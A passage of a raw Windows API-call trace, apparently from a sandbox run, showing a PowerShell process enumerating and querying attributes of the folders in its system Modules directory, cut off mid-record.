GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0200.688] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0200.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.688] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff18fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.688] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0200.688] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x3f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", lpFilePart=0x0) returned 0x3e [0200.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.688] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbff1c72, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.689] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0200.689] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0200.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.689] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff21c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.689] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0200.689] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", nBufferLength=0x3c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", lpFilePart=0x0) returned 0x3b [0200.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.689] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\configci"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.689] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0200.689] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", nBufferLength=0x3c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", lpFilePart=0x0) returned 0x3b [0200.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.690] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\defender"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff380e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0200.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.690] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0200.690] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", nBufferLength=0x48, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", lpFilePart=0x0) returned 0x47 [0200.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.690] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\deliveryoptimization"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff3c0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.690] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0200.690] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x50, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", lpFilePart=0x0) returned 0x4f [0200.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.690] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\directaccessclientcomponents"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc08f2e6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0200.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.691] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0200.691] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x38, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", lpFilePart=0x0) returned 0x37 [0200.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.691] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dism"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0200.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.691] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0200.691] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", lpFilePart=0x0) returned 0x3c [0200.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.691] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dnsclient"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc090fdc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.691] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0200.691] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x4a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", lpFilePart=0x0) returned 0x49 [0200.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.691] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f1ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.692] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0200.692] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", lpFilePart=0x0) returned 0x40 [0200.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.692] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.692] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0200.692] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x39, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", lpFilePart=0x0) returned 0x38 [0200.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.692] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\iscsi"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130082, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.693] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0200.693] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0200.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.693] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130565, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.693] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0200.693] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", lpFilePart=0x0) returned 0x36 [0200.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.693] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.693] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0200.693] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0200.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.693] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.694] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0200.694] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0200.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.694] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132049, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.694] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0200.694] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0200.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.694] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132470, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.695] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0200.695] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", nBufferLength=0x56, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", lpFilePart=0x0) returned 0x55 [0200.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.695] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc13289f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1826502a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.695] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0200.695] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0200.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.695] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: 